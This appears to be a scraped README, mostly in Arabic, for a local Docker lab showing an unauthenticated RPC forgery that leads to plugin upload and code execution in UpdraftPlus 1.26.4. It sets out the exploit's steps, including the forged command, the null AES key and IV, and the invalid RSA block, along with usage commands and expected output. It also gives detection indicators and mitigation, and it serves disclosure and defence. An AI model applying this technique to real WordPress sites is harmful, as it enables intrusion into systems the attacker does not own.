python3 poc/poc.py --url <local_target_url>

مثال على هدف ضعيف:```bash python3 poc/poc.py --url http://127.0.0.1:8081

root@kitploit:~
مثال لهدف تم تصحيحه:```bash
python3 poc/poc.py --url http://127.0.0.1:8082

التحقق الاختياري عبر ping فقط:```bash python3 poc/poc.py --ping --url http://127.0.0.1:8081 python3 poc/poc.py --ping --url http://127.0.0.1:8082

root@kitploit:~
Supported options:

| الخيار      | مطلوب | الغرض                                                 |
| ----------- | -------- | ------------------------------------------------------- |
| `--url`     | نعم      | عنوان URL للهدف في المختبر المحلي                                    |
| `--ping`    | لا       | تشغيل تحقق ping مزيف غير ضار بدلاً من إثبات الهوية |
| `--timeout` | لا       | مهلة HTTP بالثواني. الافتراضي: `15`                  |

المضيفات المستهدفة المقبولة:```text
127.0.0.1
localhost
::1

يرفض الـ PoC الأهداف غير المحلية افتراضيًا.

كيف يعمل الـ PoC

يعمل الـ PoC من الجهاز المضيف ويرسل طلبات HTTP إلى خدمات Docker المكشوفة.

الإجراء الافتراضي للـ PoC هو إثبات الهوية.

التدفق عالي المستوى هو:```text

  1. Receive explicit --url target from the tester
  2. Refuse non-local targets
  3. Build a marker WordPress plugin ZIP in memory
  4. Create a forged UpdraftCentral RPC message
  5. Send command plugin.upload_plugin through format=1
  6. Trigger the vulnerable decrypt/dispatch path on UpdraftPlus 1.26.4
  7. Install and activate the marker plugin
  8. Request /wp-json/cve-lab/v1/id
  9. Print the hard-coded /usr/bin/id output
root@kitploit:~
لا يتم تخزين marker plugin في المستودع كملف مستقل. يتم إنشاؤه في الذاكرة بواسطة PoC.

أمر RPC المزوَّر هو:```text
plugin.upload_plugin

تحتوي بيانات RPC على:```text filename = cve-2026-10795-id-marker.zip data = base64(plugin_zip) activate = true

root@kitploit:~
يقوم الـ PoC بتشفير رسالة JSON RPC الداخلية باستخدام:```text
AES-CBC
key = 16 null bytes
iv  = 16 null bytes

كما يتضمن كتلة مفتاح متماثل مشفّرة عبر RSA غير صالحة عمدًا.

في النسخة القابلة للاستغلال، لا يتم رفض فشل فك تشفير RSA. تستمر الرسالة إلى مسار فك التشفير بمفتاح فارغ قابل للتنبؤ، ويتم تنفيذ الأمر المزور.

في النسخة المُصححة، يتم رفض المفتاح المتماثل غير الصالح ولا يتم تنفيذ الأمر المزور.

لماذا يوجد --ping

خيار --ping هو أداة مساعدة للتصحيح.

يتحقق فقط من حدود تجاوز التشفير وإرسال RPC. لا يرفع مكوّنًا إضافيًا ولا يشغّل /usr/bin/id.

استخدم --ping عندما لا يعمل إثبات الهوية الافتراضي وتحتاج إلى عزل موضع الفشل.

إذا فشل --ping، فمن المرجح أن المشكلة قبل تنفيذ الأمر:```text wrong key state wrong key_name message format issue encryption mismatch listener not active patched behavior

root@kitploit:~
إذا نجح `--ping` لكن فشل إثبات الهوية، فالمشكلة غالبًا بعد الإرسال:```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue

سلوك ping المتوقع:```text 1.26.4 vulnerable target → PING DISPATCHED 1.26.5 patched target → PING NOT DISPATCHED

root@kitploit:~
## النتائج المتوقعة

### الهدف القابل للاستغلال

الأمر:```bash
python3 poc/poc.py --url http://127.0.0.1:8081

إشارة الضعف المتوقعة:```text CVE-2026-10795 local lab-only ID validation Scope : localhost / Docker lab only Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin Safety : no generic web shell, no cmd parameter, no external targets Key name : 0.central.updraftplus.com Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php

Target : http://127.0.0.1:8081/ Command : plugin.upload_plugin Decision : RPC DISPATCHED HTTP status : 200 Body bytes : non-zero RPC JSON seen : True Resp. format : 2

ID endpoint : http://127.0.0.1:8081/wp-json/cve-lab/v1/id Marker active : True HTTP status : 200 id output : uid=33(www-data) gid=33(www-data) groups=33(www-data)

Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).

root@kitploit:~
### الهدف المُرقَّع

الأمر:```bash
python3 poc/poc.py --url http://127.0.0.1:8082

الإشارة المتوقعة بعد التصحيح:```text CVE-2026-10795 local lab-only ID validation Scope : localhost / Docker lab only Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin Safety : no generic web shell, no cmd parameter, no external targets Key name : 0.central.updraftplus.com Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php

Target : http://127.0.0.1:8082/ Command : plugin.upload_plugin Decision : RPC NOT DISPATCHED HTTP status : 200 Body bytes : 0 RPC JSON seen : False Body prefix : ''

ID endpoint : http://127.0.0.1:8082/wp-json/cve-lab/v1/id Marker active : False HTTP status : 404 Body prefix : '{"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"status":404}}'

Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).

root@kitploit:~
## أوامر التحقق اليدوي

تحقق من صحة الخدمة:```bash
docker compose ps

افحص بيانات تعريف الخدمة الضعيفة:```bash curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool

root@kitploit:~
افحص البيانات الوصفية للخدمة المصححة:```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool

تحقق من حالة المكوّن الإضافي في وقت التشغيل:```bash curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool

root@kitploit:~
شغّل التحقق باستخدام ping فقط:```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082

إثبات Run ID:```bash python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082

root@kitploit:~
تحقق من نقطة نهاية العلامة مباشرة بعد تشغيل PoC:```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool

متوقع:```text 8081 → marker endpoint exists and returns id output 8082 → marker endpoint returns 404 rest_no_route

root@kitploit:~
تحقق من المكونات الإضافية المثبتة داخل الحاوية الضعيفة:```bash
docker compose exec -T vuln sh -lc \
  'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'

تحقق من المكونات الإضافية المثبتة داخل الحاوية المصححة:```bash docker compose exec -T patched sh -lc
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'

root@kitploit:~
يجب أن تحتوي الخدمة القابلة للاستغلال على المكوّن الإضافي المميّز (marker plugin) بعد تشغيل PoC. بينما لا يجب أن تحتويه الخدمة المُصحَّحة.

## التأثير

يُظهر هذا المختبر أن مهاجمًا غير مصادَق يمكنه تزوير رسالة RPC من UpdraftCentral تصل إلى تنفيذ الأوامر المميّزة في UpdraftPlus 1.26.4 عند وجود حالة مفتاح UpdraftCentral مناسبة.

الأثر المُثبَت هو بأسلوب تنفيذ التعليمات البرمجية عن بُعد (RCE) لأن أمر RPC المُزوَّر يسيء استخدام وظيفة إدارة الإضافات الشرعية:```text
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context

يُظهر الإثبات المحلي التنفيذ كمستخدم خادم الويب:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)

root@kitploit:~
تظل فئة الثغرة تجاوز المصادقة. نتيجة تنفيذ الكود هي تأثير متسلسل عبر تثبيت إضافات WordPress بصلاحيات مرتفعة.

## الاكتشاف والمراقبة

تشمل المؤشرات المحتملة طلبات POST غير المصادق عليها إلى الصفحة الأمامية لـ WordPress تحتوي على حقول UpdraftCentral RPC:```text
format
key_name
udrpc_message
signature

خصائص مشبوهة:```text format=1 key_name ending with .central.updraftplus.com large udrpc_message value unexpected unauthenticated POST requests to / repeated RPC attempts with empty or unusual response bodies new unexpected plugin directories under wp-content/plugins new plugin activation events REST routes appearing unexpectedly after a suspicious request

root@kitploit:~
مؤشرات المختبر المحلية:```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)

أفكار لمراقبة الإنتاج:

  • راجع سجلات الوصول إلى الويب بحثًا عن طلبات POST التي تحتوي على udrpc_message.
  • نبّه على طلبات RPC ذات format=1 الصادرة من مصادر غير موثوقة.
  • راجع سجلات UpdraftPlus وUpdraftCentral إذا كانت متاحة.
  • راقب أحداث تثبيت أو تفعيل الإضافات غير المتوقعة.
  • راقب تغييرات نظام الملفات تحت wp-content/plugins.
  • راجع مستخدمي المسؤول وتكاملات الإدارة عن بُعد.
  • تحقق مما إذا كان UpdraftPlus أقدم من الإصدار المُصحَّح.
  • أزل مفاتيح التحكم عن بُعد القديمة أو غير المستخدمة في UpdraftCentral.

ملاحظات التخفيف والتصحيح

قم بترقية UpdraftPlus إلى الإصدار 1.26.5 أو أحدث.

يرفض الإصدار المُصحَّح مفاتيح التشفير المتماثل غير الصالحة بعد فك تشفيرها قبل فك التشفير المتماثل وإرسال الأوامر.

خطوات التخفيف الموصى بها:

  • قم بترقية UpdraftPlus.
  • راجع ما إذا كان التحكم عن بُعد في UpdraftCentral مفعّلاً أو قد تم تكوينه.
  • أزل مفاتيح UpdraftCentral القديمة إذا لم تكن هناك حاجة للتحكم عن بُعد.
  • راجع حسابات مسؤولي WordPress.
  • راجع الإضافات المثبتة بحثًا عن إضافات غير متوقعة.
  • راجع سجلات الوصول بحثًا عن طلبات udrpc_message المشبوهة.
  • قم بتدوير بيانات الاعتماد إذا كان هناك اشتباه في الاختراق.
  • استعد من نسخ احتياطية موثوقة إذا تم تأكيد تثبيت إضافة غير مصرح به.
  • استخدم قاعدة جدار حماية التطبيقات (WAF) كطبقة مؤقتة فقط، وليس كبديل عن التصحيح.

الإصلاح الأهم هو تشغيل نسخة مُصحَّحة من UpdraftPlus ترفض المفاتيح المتماثلة غير الصالحة قبل فك التشفير والإرسال.

التنظيف

أوقف الحاويات وأزل الشبكات:```bash docker compose down --remove-orphans

root@kitploit:~
إزالة الحاويات والشبكات ووحدات التخزين:```bash
docker compose down -v --remove-orphans

إزالة البيئة الافتراضية لبايثون:```bash rm -rf venv

root@kitploit:~
احذف ملفات الأدلة المحلية إذا تم إنشاؤها:```bash
rm -rf evidence/

حدود السلامة

هذا المختبر مخصص لأبحاث الأمن المحلية والعروض التوضيحية الخاضعة للرقابة فقط.

لا تقم بتشغيل PoC ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.

لا تستخدم بيانات اعتماد حقيقية أو أسرار إنتاج أو أهداف خارجية في هذا المختبر.

يقتصر نطاق PoC عمدًا على خدمات Docker المحلية مثل:```text http://127.0.0.1:8081 http://127.0.0.1:8082 http://localhost:8081 http://localhost:8082

root@kitploit:~
يرفض إثبات المفاهيم (PoC) الأهداف غير المحلية افتراضيًا.

لا ينفّذ المكوّن الإضافي للمُعلِّم معلمة تنفيذ أوامر عامة. إنه يوفّر فقط نقطة نهاية إثبات محلية مشفّرة بشكل ثابت تشغّل `/usr/bin/id`.

لا يتضمن هذا المختبر:```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow

الهدف هو إظهار شرط تقني محدد في بيئة خاضعة للتحكم:```text unauthenticated forged RPC

  • vulnerable format=1 validation behavior
  • failed RSA decrypt not rejected
  • predictable symmetric decrypt path
  • privileged UpdraftCentral command dispatch
  • plugin upload and activation
  • patched version blocks before dispatch
root@kitploit:~
## المراجع

* NVD: CVE-2026-10795
  https://nvd.nist.gov/vuln/detail/CVE-2026-10795

* قاعدة بيانات ثغرات Wordfence: UpdraftPlus
  https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus

* قاعدة بيانات Patchstack: UpdraftPlus
  https://patchstack.com/database/

* إضافة WordPress.org: UpdraftPlus
  https://wordpress.org/plugins/updraftplus/

* SVN إضافة WordPress.org
  https://plugins.svn.wordpress.org/updraftplus/

* وسوم SVN لإضافة WordPress.org
  https://plugins.svn.wordpress.org/updraftplus/tags/

* TeamUpdraft: UpdraftCentral
  https://updraftplus.com/updraftcentral/

* OWASP: مرجع المصادقة السريع
  https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html

* OWASP: دليل اختبار أمان الويب
  https://owasp.org/www-project-web-security-testing-guide/
تنزيل الأداة
سلوك PoCالسلوك المصدري المُختبرالمتوقع على 1.26.4المتوقع على 1.26.5
إرسال POST مع format=1المستقبِل يقبل تنسيق RPC القديميستمريستمر إلى فحص فك التشفير المُصحَّح
حذف التوقيع الصحيحفحص التوقيع ينطبق فقط على format >= 2التوقيع غير مطلوبالتوقيع غير مطلوب لـ format=1، لكن يُحظَر لاحقًا
إرسال كتلة RSA غير صالحةفك تشفير RSA يُرجع مفتاحًا متماثلًا غير صالحالمفتاح غير الصالح يصل إلى setKey()المفتاح غير الصالح مرفوض
تشفير JSON بمفتاح فارغ وIV فارغيحاكي سلوك phpseclib الاحتياطي بعد setKey(false)يُفك تشفيره إلى JSON صالحلا يُفك تشفيره
تعيين command=pingيختبر تجاوز التشفير والإرسال فقطPING DISPATCHEDPING NOT DISPATCHED
تعيين command=plugin.upload_pluginيستدعي طريقة رفع الإضافة في UpdraftCentralيتم تثبيت ملف ZIP للإضافةلا يصل الأمر
تعيين activate=trueيُطلق activate_plugin() بعد التثبيتإضافة العلامة نشطةإضافة العلامة غائبة
إرسال طلب إلى /wp-json/cve-lab/v1/idيتحقق مما إذا كان كود إضافة العلامة قيد التشغيليُرجع uid=33(www-data)يُرجع 404 rest_no_route
الخدمةالمكوّنالإصدار / الدور
vulnWordPress + UpdraftPlusUpdraftPlus 1.26.4 هدف معرّض للثغرة
patchedWordPress + UpdraftPlusUpdraftPlus 1.26.5 هدف مصحّح
vuln_dbMariaDBقاعدة بيانات الهدف المعرّض للثغرة
patched_dbMariaDBقاعدة بيانات الهدف المصحّح
vuln_setupخدمة إعداد WP-CLIتثبّت WordPress، وتنشّط UpdraftPlus، وتهيئ الحالة الأولية للمفتاح المحلي
patched_setupخدمة إعداد WP-CLIتثبّت WordPress، وتنشّط UpdraftPlus، وتهيئ الحالة الأولية للمفتاح المحلي